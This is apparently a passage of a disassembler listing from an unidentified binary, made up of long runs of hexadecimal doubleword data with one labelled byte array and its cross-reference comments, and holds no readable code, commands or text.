		dd 475E2E53h, 556B42h, 156434CCh, 9EDC2506h, 24663914h
		dd 978400B4h, 2677E85h,	25FE0FDh, 0ABECDB3h, 916047EDh
		dd 60B0CCF7h, 5364C200h, 2C8D5F1Ch, 4F9B00ECh, 7A67641h
		dd 7226C8C0h, 7F803482h, 1388D42Ah, 0B6010759h,	60A5EDA3h
		dd 0D7EA5FF6h, 97E80B00h, 31C83705h, 0B6C400A0h, 28E1934h
		dd 0CC7C84F7h, 803CFB3Dh
		dd 0E4F10D52h, 0B51FBC4Eh, 6273CA50h, 0F3ADA900h, 0CF6A05D3h
		dd 258C0150h, 56751455h, 0BB5DE46Eh, 1000997Ah,	60ADC115h
		dd 540D9h, 27D8AA5Eh, 625A5986h, 4AA6EF01h, 2B691E14h
		dd 0FCCA84FCh, 5C1102E8h, 3F223DBCh, 390073F0h,	483B4224h
		dd 6640D0h, 0B9BD7E7Bh,	6E7C13D2h, 8CECBC00h, 5F96390Ch
		dd 926975E1h, 648700E0h, 90CE7318h, 3C183451h, 0E0120386h
		dd 9E3A3E0Fh, 80E80624h, 0CE775835h, 8E01677Fh,	4AE3594Bh
		dd 0E020C168h, 3A0D0CFEh, 11185621h, 0D43E2A00h, 86B2BA3Dh
		dd 32E50242h, 471C88AFh, 877870C0h, 0CB8D081Ch,	779EFB40h
		dd 0B8D1C56Ch, 36B9008Ch, 7EBBC3DEh, 0BD00A04Ch, 9D81335Fh
		dd 38611EE0h, 93002D80h, 0D289F4Ah, 877AB182h, 0D800D5E4h
		dd 92F56ECDh, 25077451h, 46D08697h, 691D5D1Eh, 0DD70FC40h
		dd 791A8E1h, 86C90516h,	2C5890C5h, 1D0EB988h, 60AE8AF5h
		dd 0E44F6746h, 0FEAD0EE3h, 0D9A02533h, 3E1F4D9Dh, 0EBD00B00h
		dd 0D82102A8h, 7E690098h, 5E126E46h, 36076CDBh,	0C103CD5Bh
		dd 8A215780h, 39280E43h, 0DCE01EF5h, 0C24D3D90h, 0D1C48101h
		dd 0A3B48AF9h, 0A87DCFh, 0C8E9DAB1h, 0A0E55C32h, 0B8345A1Fh
		dd 85441583h, 138352h, 0D19E2BCCh, 0A85773ACh, 86F73600h
		dd 1C6B53BAh, 82760064h, 3E908925h, 71009378h, 840E5197h
		dd 3F4248CBh, 770126DCh, 0D80ACE29h, 591FC88h, 1AC3148h
		dd 563AEBB3h, 69FCE48Ah, 0C815CAAh, 87649C26h, 0F08B7EB2h
		dd 0BAD4A2ADh, 0D8D36A16h, 0DEC08440h, 0EB373Dh, 17E3F649h
		dd 3CF7C482h, 96971E00h, 0B7B24054h, 80C70242h,	0B5B9D2FEh
		dd 704C3CE1h, 2D0EC5C5h, 60DA436Fh, 70CF7BBDh, 0FC84B0EEh
		dd 82B0004Bh, 5FB1562Ch, 180BD920h, 83C8680Eh, 0F06B8B82h
		dd 3557AA8h, 0E2CFF927h, 0CEC84EC1h, 62000F8Ah,	36B1FF52h
		dd 48493002h, 590EC85Ch, 1772C25h, 0D66D0660h, 0C56C2011h
		dd 80CD6324h, 0D916A007h, 1CE3573h, 0FAB8F10h, 0E838399Ch
		dd 661E9DDAh, 0C180CAA1h, 4B13F758h, 0D1E125D2h, 0A60700Fh
		dd 3BB993F9h, 2AC8FB00h, 52908F0h, 0C79D070Dh, 0A0DF9463h
		dd 0AB843B23h, 0AD3D712Ch, 7F256E00h, 0B0C56A42h, 9D40030h
		dd 6596CC51h, 0F00268Bh, 0D8C71008h, 0E7EFD0h, 55ADF4B6h
		dd 6D041958h, 0A85E212Eh, 3612A400h, 0FC9DC39Eh, 34EE0709h
		dd 0F46B26CAh, 8044805Fh, 161DBA6Ah, 660021DCh,	7F6E44F1h
		dd 97899EFh, 0C880304Bh, 0B3A994CDh, 4D0B5C00h,	6A01D7E9h
		dd 5ED00DFh, 0C8EAA074h, 0E2FEBB81h, 2C38BF00h,	4C24AF1Bh
		dd 0B46D038Ch, 54C02232h, 4258292Eh, 0B26C1F00h, 1D310C67h
		dd 81CA2AADh, 952B3E7Ah, 0F09DF86Eh, 0D260A4A2h, 0B6CEF48Bh
		dd 968E057h, 241AE7A8h,	3C54EC36h, 55004258h, 2321B8D1h
		dd 6B389484h, 5F04809Dh, 0DDA528D8h, 0D17B32h, 0E057A7D0h
		dd 5C143307h, 4DADD400h, 74BDAF22h, 78C576ABh, 0DBD7004Ch
		dd 423C7BBCh, 450EE6DAh, 82937EF9h, 0E09FA46Eh,	0D9FF94h
		dd 38E48126h, 225A6C6Bh, 0F7FAB500h, 0E0DEA602h, 5B930066h
		dd 65CEF9E7h, 0E13A7041h, 10E580E4h, 6C6681B5h,	140407A6h
		dd 0D0A076F9h, 0D8EED77Eh, 98389DE6h, 420100CFh, 9FCBB426h
		dd 0F5A90761h, 21C571h,	47334618h, 110552E8h, 2F30EDB0h
		dd 0C04ED883h, 486F038h, 0D1142D54h, 8348E0D3h,	23DC1500h
		dd 36FB6388h, 269E3E74h, 0A71C9989h, 5C95AC03h,	1DE80690h
		dd 4BAADE06h, 77A6C2E6h, 605F60D8h, 6C590185h, 2EB02401h
		dd 0F49CC614h, 0CF609A00h, 688C1A00h, 833A215Eh, 9C09A6Dh
		dd 1409AF7Ch, 0A3C1B400h, 9B001595h, 0F9AB2B71h, 3CE7CE3Bh
		db 0A6h
byte_520045	db 0DAh, 1, 7Eh		; DATA XREF: ___:00437A28o
					; ___:00437A40o
		dd 29898F32h, 1828D3h, 0B23C4EF6h, 784A116Ch, 0F9854CBAh
		dd 28C01900h, 2F81CC52h, 65E0B607h, 601EC6F1h, 7DA7F3E1h
		dd 102C00ABh, 3B060B5Fh, 0B707BF68h, 8A1EC2FFh,	92EABAA0h
		dd 74CB006Ch, 2D3F42CFh, 4300782Bh, 6F6BFF1Eh, 0B4AF6Ah
		dd 7A4910FCh, 0DB36AACCh, 0E7252300h, 6ACD91F2h, 0C9F30077h
		dd 0FF99F503h, 0B8A8A530h, 6500F164h, 0BB37C61Bh, 381A9BC9h
		dd 3E27D9DBh, 0E915A400h, 0FC008EABh, 3C5731A3h, 172AF77Ah
		dd 1E29E80h, 5CB65272h,	1D06DC42h, 8CF88324h, 5D908100h
		dd 134EAB5Ah, 40A186DDh, 0D341E35Ch, 0D6EA9895h, 0F95FBF00h
		dd 0BB4940B5h, 7A0B066h, 424F8A6h, 975A8035h, 4C721AD8h
		dd 0C6AA9B1Eh, 0EBBA00FCh, 0CB4AF644h, 86DF2E4Eh, 65570004h
		dd 5BA539BDh, 8BD3CA02h, 0E3547C47h, 0E35AC0A8h, 8E6600ABh
		dd 0B2036BCEh, 0DB0E924Ah, 80FD8CA7h, 7B834DB3h, 72E61FB1h
		dd 242940F7h, 9F3947C0h, 0DD77300h, 0F0214159h,	2E2C0066h
		dd 8641AF5h, 14B8AEC4h,	79E29500h, 26C14310h, 0A3CA008Ch
		dd 82A96EB0h, 1C004D1Fh, 0EE8FFBC9h, 0B9850Ah, 59F00DBEh
		dd 0E2C3C0B2h, 3060BB00h, 9192201Dh, 85C4109Ah,	200D3A1Eh
		dd 9FB800F0h, 25BA6E87h, 3000466Ch, 0FBFC56C2h,	9DACCF9h
		dd 24EE2931h, 71BC5380h, 4400D95Ch, 0AC58A62Fh,	74C079h
		dd 7FD52409h, 1FAF4348h, 0FF89EB13h, 0AC532400h, 0E39585h
		dd 0A18426FAh, 96127E6Ch, 0B50FFC94h, 0FC106025h, 23AB8Eh
		dd 335543F9h, 0B6F0F8Bh, 0AC78E818h, 0CDD311h, 97521DF0h
		dd 0C6F555C9h, 5C37BB00h, 852BB6B2h, 118809C8h,	6C8030CAh
		dd 0BB91D8F6h, 3C90293Fh, 0BEFF8B73h, 0DB7C20AFh, 1F1F94F0h
		dd 587FC41Eh, 56B2B03Bh, 0CCC5F312h, 5D95FC40h,	5C4CECB7h
		dd 57010F83h, 2BEE1151h, 3D208760h, 805E9F62h, 0E3EC20F6h
		dd 0BB3B0134h, 0AECFB0CEh, 628880D9h, 0E81566C8h, 2C323F41h
		dd 3800CAC8h, 869388B5h, 6300DF52h, 36BE731Ch, 1A08E7Bh
		dd 7507FD7h, 0FC2CD185h, 89007514h, 6A9A2D27h, 0F21EC5Ah
		dd 0B1407836h, 40547367h, 83ED8AAEh, 68280D0Fh,	121F0099h
		dd 0EF4050B0h, 1DFD89D8h, 10F022h, 18ED11A6h, 1D0095D0h
		dd 723B8F57h, 65131Fh, 88F3811Ah, 465B91ACh, 59EBCA1Dh
		dd 1BA9E040h, 79864E71h, 4FE70009h, 0D40AF0B3h,	3B245045h
		dd 6A004E70h, 0D82B97EFh, 1C1400A3h, 0D2FA09A0h, 3D04FE50h
		dd 0A5BC9B82h, 25AFC480h, 0AE2B00E0h, 336B6603h, 0F50230DDh
		dd 20FDFEEDh, 0F1A080A9h, 7CC4CCh, 0DA742773h, 393B86D6h
		dd 9DE73600h, 0F8D59599h, 0A9C200ABh, 87EFF5F1h, 5E1616D9h
		dd 0D88243ADh, 8082E31Ch, 0B08B0220h, 0B1DFE47h, 6D81CF21h
		dd 2420030Fh, 0A5F25FFAh, 1F373912h, 7D5D1400h,	8DF6B9h
		dd 0B84C209Ch, 5717DE24h, 27D4F309h, 8530E748h,	4721E63h
		dd 904DFAACh, 3D583118h, 0AFAE0116h, 0D8172400h, 1777CAC2h
		dd 856521BAh, 0CE0C090h, 3F0022CEh, 88075F66h, 0E60E359h
		dd 674D7346h, 0AC2094EEh, 8DC71D7Bh, 1AEFA700h,	279011F7h
		dd 0DEDC2ECCh, 0CE3200B5h, 22612060h, 0CA10B200h, 3ED731Fh
		dd 1726183Ah, 0FC998E70h, 77238100h, 0DEE6BD18h, 53E400AFh
		dd 9213CF3Dh, 3100A4B7h, 0E5D4ABDDh, 1FA2FB9h, 0A80FAF87h
		dd 0E8EE9DA5h, 0CF00FF42h, 31566967h, 2AE772h, 532FDF81h
		dd 3BF0FB74h, 509E930Fh, 0E3B220FFh, 796B78Dh, 26EB21FEh
		dd 4CFA5041h, 1A705F94h, 0BC256B00h, 2BE3460h, 0A65013D8h
		dd 20D000DCh, 9F6BBF08h, 0F3893026h, 6CBEA300h,	799F119h
		dd 22F36725h, 339B2FDh,	1A7A6055h, 36A21DAFh, 18214002h
		dd 0D99982A8h, 5200CF98h, 0BE3347F8h, 0AB09CAh,	622CE95Dh
		dd 18664A35h, 0B0777E00h, 233AD251h, 36FA03DCh,	402A16DDh
		dd 13E8EE93h, 1C001E95h, 0E95B3B28h, 0EF0ABB53h, 0EBCC2F0h
		dd 43E05884h, 30E57A60h, 6D7ABFDDh, 49FBD500h, 0D6A69199h
		dd 84EB3C6Eh, 75618882h, 79401EA4h, 1C555CBDh, 0D6A8C48Ch
		dd 8A00ECEAh, 21A584E7h, 1D1B88Eh, 0BCF6F2F8h, 80729E46h
		dd 0CD31E060h, 56657Eh,	94E315BBh, 9161EF50h, 0DF634F70h
		dd 0C592D89h, 5095CB20h, 98F05529h, 0B385AF08h,	904000E0h
		dd 0FEDA5272h, 0BBF76D0Eh, 0BC0113CCh, 646E475Eh, 70797670h
		dd 323F003Bh, 542B6C3Eh, 0B17CE24Eh, 0B8125F07h, 0E0C03D46h
		dd 190FBC3Fh, 7819D4F7h, 0BE0C2F39h, 51AE5802h,	0AE013C78h
		dd 0D182DC76h, 2E73F1D4h, 153E7080h, 47346BACh,	5C714817h
		dd 8848783Eh, 0D3F2F7h,	34B8F906h, 3F2FF6FBh, 0B1106A50h
		dd 39B28F31h, 8840BB14h, 2F475h, 94921CF2h, 0CEB71689h
		dd 3321FA0Eh, 652D40CDh, 0DC347Ch, 0C1D2DA90h, 0C9BC8D57h
		dd 64005977h, 4EB15B48h, 3076078h, 91E61DA5h, 72B8F82Ah
		dd 481EC16Ah, 2E002BB4h, 0C9420C97h, 0E0F07DCh,	7959D4A2h
		dd 62123080h, 771EB1FAh, 6040CD15h, 0CE3B7CC5h,	0DABF001Bh
		dd 8A8B4A36h, 28001259h, 469EB866h, 627098h, 416520B6h
		dd 902EC901h, 0FD28C400h, 7063E3A7h, 0FEF713B3h, 0F0401415h
		dd 51A0BF00h, 45266E5Ah, 54F94D00h, 0B4744C03h,	3A550283h
		dd 982471A8h, 4E2994A0h, 9A019495h, 8BACF4FAh, 0A851C638h
		dd 0D20859h, 0EA037D58h, 0CF6D5E00h, 0EB2462Bh,	540F0FCEh
		dd 75C0DC91h, 1855070Ch, 9CAFBF06h, 2990F3BDh, 19F8458Ch
		dd 0F22A107Bh, 6F35DF21h, 0F8B4C160h, 9D0CA82Dh, 342B1F6Eh
		dd 98E78009h, 0AEFE0E5Ch, 0F702DA01h, 0BC78C49Ch, 23BE31BEh
		dd 0BB836F1Eh, 35E5FA6h, 0E8756D55h, 0CE0A0498h, 0F61E3600h
		dd 0C14541AEh, 65500309h, 9425D785h, 0F384F8E1h, 0DD40800h
		dd 0CED68E3h, 6261C097h, 456C4F9Dh, 2A031900h, 7C85B1B4h
		dd 20A4005Dh, 0D6B68C3Eh, 0AE06F2ADh, 8D5113DDh, 401777E8h
		dd 0EC1403DCh, 87ACC349h, 5A10095Dh, 6341116h, 77C9E7A9h
		dd 1C013828h, 414956BDh, 99E4AA50h, 0E37B0104h,	12B38A9Fh
		dd 0FC97D85Dh, 5600B6F2h, 0D4D3964h, 9B496Eh, 0ECBE2874h
		dd 3B9FEBB2h, 0A036B910h, 0C2E93078h, 8BDF9E08h, 0A8CEDB00h
		dd 0ADC94CB4h, 3F6A000Ah, 0C2A4E441h, 23007822h, 2E76A5D9h
		dd 0C827A05h, 0AB439EA8h, 9D188A40h, 0B599080h,	1FB1F067h
		dd 43CF828Ch, 5D8F9EEAh, 7A4755E8h, 77F41F16h, 2B30A401h
		dd 0FF9AC7h, 0CE391789h, 0F0F78270h, 0D2373Eh, 0A4E7459Fh
		dd 1DD1B08Bh, 0AAB131Dh, 8E80BF7Ah, 77A058F3h, 0E2BA75E4h
		dd 4F07717Ch, 0C74069D9h, 0E6EC4650h, 56E70279h, 9E7475C0h
		dd 0AAD99100h, 2067054Bh, 818DC978h, 0E18CA1F4h, 10D74680h
		dd 83825218h, 0CDFFD9h,	692FE45Dh, 976D870h, 0A1798B07h
		dd 6D40C735h, 0C0EE7EDEh, 53BCD361h, 0EF0745E4h, 4E5AEAE9h
		dd 856F7731h, 24F6E820h, 0C7419Eh, 50AD8CAEh, 0A500B351h
		dd 9FA1523Ch, 1ADE18h, 0AEEE9B92h, 7F841B3Fh, 0A0ACCE00h
		dd 0EFE1B7A7h, 0DE90016Bh, 3DDB219h, 7B21CDh, 0DC11AFC9h
		dd 0B530EC74h, 8B7B20E1h, 18B000CDh, 3FDEE76Eh,	0A800BE69h
		dd 6F02D03Dh, 60AE57FCh, 0ED2D68BDh, 0C301E13Ah, 0DF9CDD3h
		dd 0A8E33DB2h, 35E53F8h, 3276C923h, 830EE8Ch, 40F02118h
		dd 0CB060550h, 0C7647AD4h, 3CEC2A92h, 88CABB19h, 0B3A3CC3Dh
		dd 0B5C30C0h, 61F29E5h,	79178DB0h, 0C2208842h, 0E131C0D3h
		dd 89D32BFh, 0AA03A2FEh
		dd 38BC7AEBh, 8E5BE020h, 0D39F0319h, 0AE50863Ah, 9200B879h
		dd 4A736466h, 37B0C5DFh, 6089734h, 0E773203Bh, 0F0336407h
		dd 0E8133CB8h, 0BB50043Ah, 0C39F18DCh, 72E8F9D0h, 150060A3h
		dd 55A28AD9h, 842745h, 131802EBh, 5ECE8C75h, 4BBAE90Fh
		dd 4C01E9Dh, 0FB643A2Dh, 0AE1F002Fh, 0C184CFA6h, 9C0094B9h
		dd 6BBD2731h, 0D7CE57h,	4F18AD74h, 818E2FC5h, 0F6CA2100h
		dd 317BA805h, 7412001Fh, 634B083Eh, 5D0047C4h, 14AF68BAh
		dd 7A22C64h, 6DE6DEF4h,	2BD74059h, 0C6FAC4FFh, 9C429D00h
		dd 17378285h, 3F811812h, 5802EA9Fh, 6632E17h, 0B887850Dh
		dd 824EFCh, 169B7AECh, 989FA48Eh, 0E4CFFE4h, 0E3CB0028h
		dd 2E0A3693h, 71350013h, 0DC284A1Fh, 9C0FC74Bh,	548469h
		dd 0DDA236BCh, 388FE249h, 0D801328Ch, 11E3D456h, 7E1EC4ECh
		dd 0C94F3A00h, 39EFAD82h, 164E0018h, 2F890F12h,	5900878Dh
		dd 4C4BE2F8h, 90C51A82h, 389570DEh, 29075C39h, 0F0FD2F9Ah
		dd 1ADF0587h, 0C9495302h, 0C0544834h, 3C4FB607h, 0BC586E28h
		dd 5D9F0500h, 26431B9Eh, 84419700h, 48C2860Eh, 93D0F04h
		dd 1380B5C8h, 442AAE6Ah, 26644000h, 0AD077288h,	0F8320609h
		dd 29C5C93Dh, 10A3AE22h, 11C12D19h, 0AB3A0809h,	0A1441244h
		dd 0C513E9FEh, 8D4A4494h, 1428364Ah, 1281451h, 0DAF21028h
		dd 143A28B4h, 89C0A210h, 1C44FD39h, 84FE7944h, 0BF946A10h
		dd 10289928h, 10C2E590h, 2900A262h, 0CDA79FB7h,	24013351h
		dd 477868AAh, 9E70F535h, 4C340EDDh, 0CF4044FDh,	824BFEF8h
		dd 0BEE4CC01h, 0C6BC8809h, 633AE4h, 6F7A59E7h, 33706D7Bh
		dd 56C8B901h, 2BDBDD06h, 3B2652E4h, 32A6E47Eh, 96C20047h
		dd 1F480AFh, 0A4A14C00h, 5FC43DD6h, 0B143834h, 48BCC780h
		dd 5274871Dh, 0A5B89A00h, 9490A8F1h, 0C97DE4h, 4FE00F01h
		dd 0C02245D7h, 24785E00h, 0EC17CD77h, 7E8000F6h, 0E3729505h
		dd 5D06AB9Ah, 830963ACh, 8F70781h, 0B07F7406h, 43727839h
		dd 759DF38h, 7D1A362Ch,	5AD52D00h, 0D2FA00AEh, 0B3D4E520h
		dd 730E4872h, 0E0EC6936h, 57324DC0h, 37AD0094h,	65B40F26h
		dd 0AA00DE1Fh, 353422Ch, 0F9AFEAFh, 11394FAEh, 4B7EA4A0h
		dd 3C003DF4h, 5FD4C640h, 0D2E2C8h, 377A893Bh, 0C29AA92Bh
		dd 0B0812A14h, 4CFB0E84h, 0EC6CBF8Dh, 8567E400h, 1D09B8DBh
		dd 8378B4A0h, 2E7523ACh, 0B555E1E8h, 42611E00h,	1D4BA618h
		dd 9C5E0059h, 6FBC8DF3h, 0C90089BFh, 18482AE8h,	1F62CAD4h
		dd 807C3194h, 0EC3BC62Eh, 5E6BC87h, 0C7FD3D00h,	28849BE3h
		dd 1C017852h, 0C0548D8Ch, 8996F253h, 22004492h,	62F1CA58h
		dd 0A027ABh, 6979D710h,	0E15E4C36h, 0E20F9878h,	0C04D0D06h
		dd 8D99BF66h, 504E4C2Bh, 96B3805h, 0E7CF0585h, 0F4F8001Bh
		dd 0C1345B4Ah, 64E53C00h, 0BD94EB3Dh, 2E5E0031h, 356D67Ah
		dd 2C0FF927h, 563967C0h, 23CFC200h, 4FD7702h, 0ABB41C2Ah
		dd 0F10480C2h, 5D0B766Bh, 80AD2F33h, 0CFF05767h, 69F2001Ch
		dd 0C5F84516h, 9513DD89h, 0FA8DA6h, 862D3439h, 274CFBA1h
		dd 0EDE00E81h, 0A6EB815Ch, 78206C81h, 0FEFC00C1h, 0E384BA09h
		dd 0F100B02Ah, 51B4DD8Eh, 0F68F10h, 0C58C1CDh, 15CF0756h
		dd 0FA78C00h, 977BF47Fh, 7614726Bh, 44D000E1h, 0A9EDB027h
		dd 7900569Bh, 5F4D5972h, 0E4FD628h, 0D437D1Bh, 0A2347F00h
		dd 7048477h, 3C452E8h, 38589Ch,	8134622Bh, 0B11FC0B4h
		dd 9943A400h, 659AF011h, 48A9244Ah, 6404002Bh, 0BCF437D0h
		dd 0B000FA73h, 22ABA38Ah, 0E4C44BC8h, 79800CEh,	1167BE74h
		dd 0A400D42Ch, 1BAE3986h, 16FF5Eh, 29DE834Dh, 6DE1DBD2h
		dd 83B077E8h, 94972A00h, 1C3A8DC8h, 0CE4D0076h,	9B7DBCA4h
		dd 9F0E6B13h, 80CB03E7h, 12EAB7C0h, 7F409FCh, 6D00FDA3h
		dd 0DA3A2790h, 1CC3DF00h, 0A04C9E96h, 7097781h,	4FDBE551h
		dd 1595100Dh, 298192Fh,	0D4316D24h, 7B09CA00h, 4C41A1h
		dd 6ECAD97h, 1541B3Dh, 80C3793Ah, 7E6CCFFh, 18DEB9h, 885D0ED0h
		dd 0CD0D5CA9h, 0D40040F8h, 0AE4AAA43h, 0DFE8D2h, 9F1CE56Dh
		dd 0F2290C47h, 238BC007h, 3DF0A865h, 3FDB192h, 0C2DCEA0Dh
		dd 898A714h, 6F1424A1h,	1A067B7h, 8B84C077h, 47D436C8h
		dd 0FDE30390h, 8F8C5C38h, 0C655DBF0h, 0AB9F7600h, 0CC80A958h
		dd 0DC72016Ah, 6FEE9525h, 0AA9420BEh, 8703CF00h, 0AF2C62E0h
		dd 167F0385h, 0AC49F04Eh, 55A87400h, 0EAB4D990h, 0E0C9002Dh
		dd 0B345CBBAh, 860089C2h, 1FE84133h, 9E61E11h, 0B922C705h
		dd 0FCC23B03h, 844672F8h, 422FF4A8h, 294B7500h,	47878E6Bh
		dd 5FAAA095h, 0EAF90F55h, 8620C52Ch, 8D123FB2h,	4604257Dh
		dd 28097E7Ch, 0A831C080h, 73A500B6h, 71FEEC59h,	0B9A0309Eh
		dd 6407A91Ch, 0CA043985h, 83666370h, 0BB930067h, 6126ED14h
		dd 7100E6A6h, 1CAB6A22h, 1E72BB1h, 33670EC0h, 60433C81h
		dd 9A002E38h, 0BB99E0CAh, 0E0A8EC5h, 0F9DEE79Eh, 8B18F0E0h
		dd 0F10E2CDFh, 6133732Ah, 9FC0636Dh, 0EC64D880h, 26AB8B6Fh
		dd 2F008C74h, 79D0AE9Dh, 53195Eh, 87C02E7Ch, 0D8DF52D9h
		dd 80B51A39h, 0ECDE05F2h, 0AAFDA2h, 378BF87Dh, 18316680h
		dd 4335F000h, 781D328h,	705D1858h, 780EE648h, 0CC96D550h
		dd 45CD7203h, 0C0E43E5Ch, 3EAA09Dh, 3095001h, 0D0F0C2B4h
		dd 52588F86h, 80EF3954h, 0D315CC46h, 1323BCh, 3AA32958h
		dd 0B3A56904h, 14714Ch,	0DDACA73h, 4914D4h, 6E10E7B1h
		dd 6C1F5E27h, 7A68A001h, 9B583C02h, 1E987860h, 80E62F05h
		dd 0EC8884C4h, 5100622Ch, 5608552Eh, 0AE17E24h,	37985210h
		dd 6783DA0h, 0F868063Fh, 4212D871h, 1607F70Ch, 0EE0F33Eh
		dd 9003C1h, 0F219C429h,	9F3D6AC9h, 1CBD150Eh, 77A69ECh
		dd 24907DA8h, 0D168CFh,	2A5AFCB0h, 71957820h, 0C5AC6000h
		dd 3CF47C49h, 1BED38B2h, 81693h, 1AF951BDh, 41F432Dh, 0B59D34D7h
		dd 0FD4F300h, 692881h, 3E0BC031h, 0E585EAD9h, 9559C92Ch
		dd 805D8609h, 473696B0h, 241C5CCBh, 95487C03h, 0D000C16Fh
		dd 9FFC9A0h, 21798Ah, 0A19452Ch, 31F4139Fh, 91AC7F00h
		dd 0CD1DC782h, 120100BBh, 0B9CB7458h, 0A43EDA8Ah, 0C00380E6h
		dd 0A782072Fh, 7983F88Dh, 0EFB30016h, 7E71867Ch, 0D4139041h
		dd 1000F4C2h, 97E70891h, 0E81000AEh, 0B9D5BB56h, 21003D3Bh
		dd 7541C10Fh, 0BFF804h,	0E5E2DFECh, 0AABD2882h,	0C906E300h
		dd 886C9485h, 33370032h, 1AFFDDA5h, 0CA180A2Eh,	0DCD88A35h
		dd 0E068003Bh, 868CD4E7h, 0C8C09241h, 8ACA8011h, 8E3F0088h
		dd 0E01B601Fh, 0C875E66Fh, 91CEA0Eh, 0D8007342h, 0CCA27357h
		dd 3081EC25h, 6FD88296h, 934D5A21h, 0C3CF0084h,	52F74555h
		dd 0A52800C8h, 866BE135h, 0AB00909Eh, 8EC6E4AFh, 3BCDA6FEh
		dd 0C300C8C2h, 3FD89593h, 0AE00B7C9h, 8AD2E6F1h, 694B974h
		dd 0AA6B0759h, 0B377C86Fh, 0FF15F300h, 0BF2AE928h, 0F5631761h
		dd 8C00AAA8h, 8FE4999h,	0ED560094h, 0A3BAC0BBh,	0CE00EC78h
		dd 0A5B90E74h, 0FEF520h, 0C0194D26h, 2371C939h,	88045A0Eh
		dd 28C6406Dh, 1C929C03h, 808D1A7Eh, 0AE73300Fh,	6F00BA79h
		dd 1E9505FDh, 0BC81D5h,	6DC5E4ABh, 0A5B28B5Ch, 5B1B1800h
		dd 0B93F023Dh, 9A751F4Bh, 0C484C04Ah, 4E056CDEh, 0D5234F1Dh
		dd 3D9F7980h, 713ABB78h, 0E61C4818h, 97BED40Bh,	5AD7D000h
		dd 16076562h, 2AB96B1Dh, 6F51191h, 0E1CEF530h, 3A5C58E8h
		dd 0DB00786Ah, 0F0A4358Dh, 0F50B59B6h, 1C05B76h, 2F811D8Ch
		dd 2A008428h, 0A3E0FE2Eh, 0D8906393h, 7A057DEAh, 6A7C148Ch
		dd 0D23870C0h, 0C427706Bh, 811B4111h, 0C8FE99D4h, 677825D8h
		dd 8AE8EC00h, 0A954F5B6h, 0DB15007Bh, 2E2126F7h, 0B0A843D5h
		dd 27245804h, 0E080FCA1h, 0ADB76B82h, 0AB735Eh,	52DF1169h
		dd 2EE32CB5h, 0A46AFC06h, 3B81CAEh, 9BA7C002h, 46CA5625h
		dd 0B328A840h, 5D3AE700h, 0E276323Bh, 0B14E3A61h, 9787EE80h
		dd 0C5C1C049h, 0E004F60Fh, 0E3FB2088h, 188DB474h, 886B4791h
		dd 4389407h, 0DEB09FEh,	4A1CA00Bh, 4853450Ch, 1300CCF7h
		dd 7243F69Dh, 0BC029774h, 0B2E557DAh, 3D33E025h, 2CB80BADh
		dd 0F420B4B5h, 82A7F7F2h, 800F21F6h, 0F22FD22Ah, 0E056600Fh
		dd 0C29F626Ah, 0B220261h, 1CE7470Fh, 0C04F94C1h, 68904ACFh
		dd 0EB63BD03h, 27A75Dh,	5AB9A910h, 0C18560D0h, 71003E78h
		dd 27A3ED0Bh, 39CFFCh, 0C0D26C70h, 558A71Bh, 0C2A43002h
		dd 40F2F620h, 2B59D0h, 0D3E4D8C4h, 38785EDCh, 3DFAC53Ch
		dd 2CE2878Fh, 321044CAh, 1863F0Eh, 507ED452h, 0F8DF6BD5h
		dd 750B01FCh, 365C055h,	0D81F35C5h, 488717ADh, 67009820h
		dd 59C49E53h, 0F0ED1A0Fh, 0AC9848E7h, 4E680400h, 1073DED4h
		dd 0EECD00B9h, 3CEA61D7h, 0F003A68Ch, 0FA7A8174h, 58F3D0F4h
		dd 2C90399Ah, 95F87F83h, 0FBB82EDCh, 861CCAC4h,	0EB8C7A96h
		dd 2E2BD834h, 85C03745h, 0C0F827B9h, 0BF6A1F1Ch, 91DA200h
		dd 70B3C960h, 5672A6h, 80B27FA5h, 0FF2ADBC7h, 81D42300h
		dd 6670CEFh, 0BF870064h, 4CBAA695h, 0A101BEAAh,	0EE81969Fh
		dd 0D730D886h, 0C97F383Dh, 874B3B0Ch, 930995E1h, 1B240BAh
		dd 29811258h, 434B424h,	75E14430h, 0DE9D43EDh, 1CE0E001h
		dd 13BE003Fh, 0B14B178Dh, 701C5268h, 9D843D55h,	1A83126Ah
		dd 0DA04918Ah, 0EEAEBDC0h, 0E2A10039h, 992C95E6h, 7C389D73h
		dd 0E5810E36h, 9B4FE07Bh, 1233715Bh, 247B359h, 70EE7E63h
		dd 459555C0h, 8169AC03h, 90DA8B8Fh, 0C082EE4h, 964CD063h
		dd 2700AAC0h, 0EC8C40F9h, 24BFCA35h, 4B45AB7h, 0C0E29612h
		dd 4306D6CFh, 76555800h, 6BEE6E4Ah, 0DEBD0908h,	90074AFh
		dd 0D0AA8FA0h, 40E23209h, 7FB802A2h, 8449C0A7h,	9F0B0037h
		dd 0A5B1FD39h, 7E0014C3h, 0AEF596B5h, 77AB70h, 79864582h
		dd 9C44A63Ah, 0BD9A5700h, 23A39767h, 0CE4C3E92h, 0BC15B200h
		dd 0E518D46Ch, 67EA350Bh, 85D4205Eh, 6BE5Fh, 0B9D1BB71h
		dd 0B704DBE6h, 11AF4900h, 0FCE77E42h, 941500DCh, 0C6BEEDA2h
		dd 0C07E21F5h, 6804BA77h, 22A9A55Ah, 0C4E2B480h, 0A1AC004Eh
		dd 6FDF4538h, 9E127C64h, 0E002122Fh, 80C99783h,	0F14B04A0h
		dd 73089A70h, 78100C7h,	7A750510h, 45249255h, 803CEC06h
		dd 63441DD2h, 7C310D9Fh, 289E0379h, 2EE55059h, 2C0802D0h
		dd 0AB675402h, 804F669Dh, 7DCAA7A4h, 88B6005Ch,	50EB42EFh
		dd 1D002132h, 0ABA07F80h, 90B4F811h, 4F9B3E8Ah,	0EA8CB181h
		dd 0C4337249h, 0D10BAB0Eh, 80CF3899h, 0FD7B9B5Dh, 0A9290911h
		dd 2C00DC1Ah, 4804DFACh, 6AE03160h, 75B78F71h, 0F964001Dh
		dd 73CEF6DCh, 76007FC1h, 522B2E8Ah, 7BA1EDC5h, 20BE81Eh
		dd 0D219E6ACh, 0C85808F3h, 0AF994A00h, 784F222Ch, 71C10243h
		dd 0DBBBB838h, 238E74C0h, 543A6D00h, 6301581h, 4594A040h
		dd 8F5A1F2Dh, 56D04129h, 503F34FDh, 0CC287FB0h,	5D8C4FFh
		dd 0CF6BEF00h, 44AB7621h, 51D33FF6h, 2832CD00h,	0FBDA318Eh
		dd 0FA602F02h, 60B88827h, 0A88C3BCCh, 504923DCh, 33EF9E52h
		dd 5CA96803h, 58386800h, 0ACBDF175h, 4BF49294h,	2AFC3093h
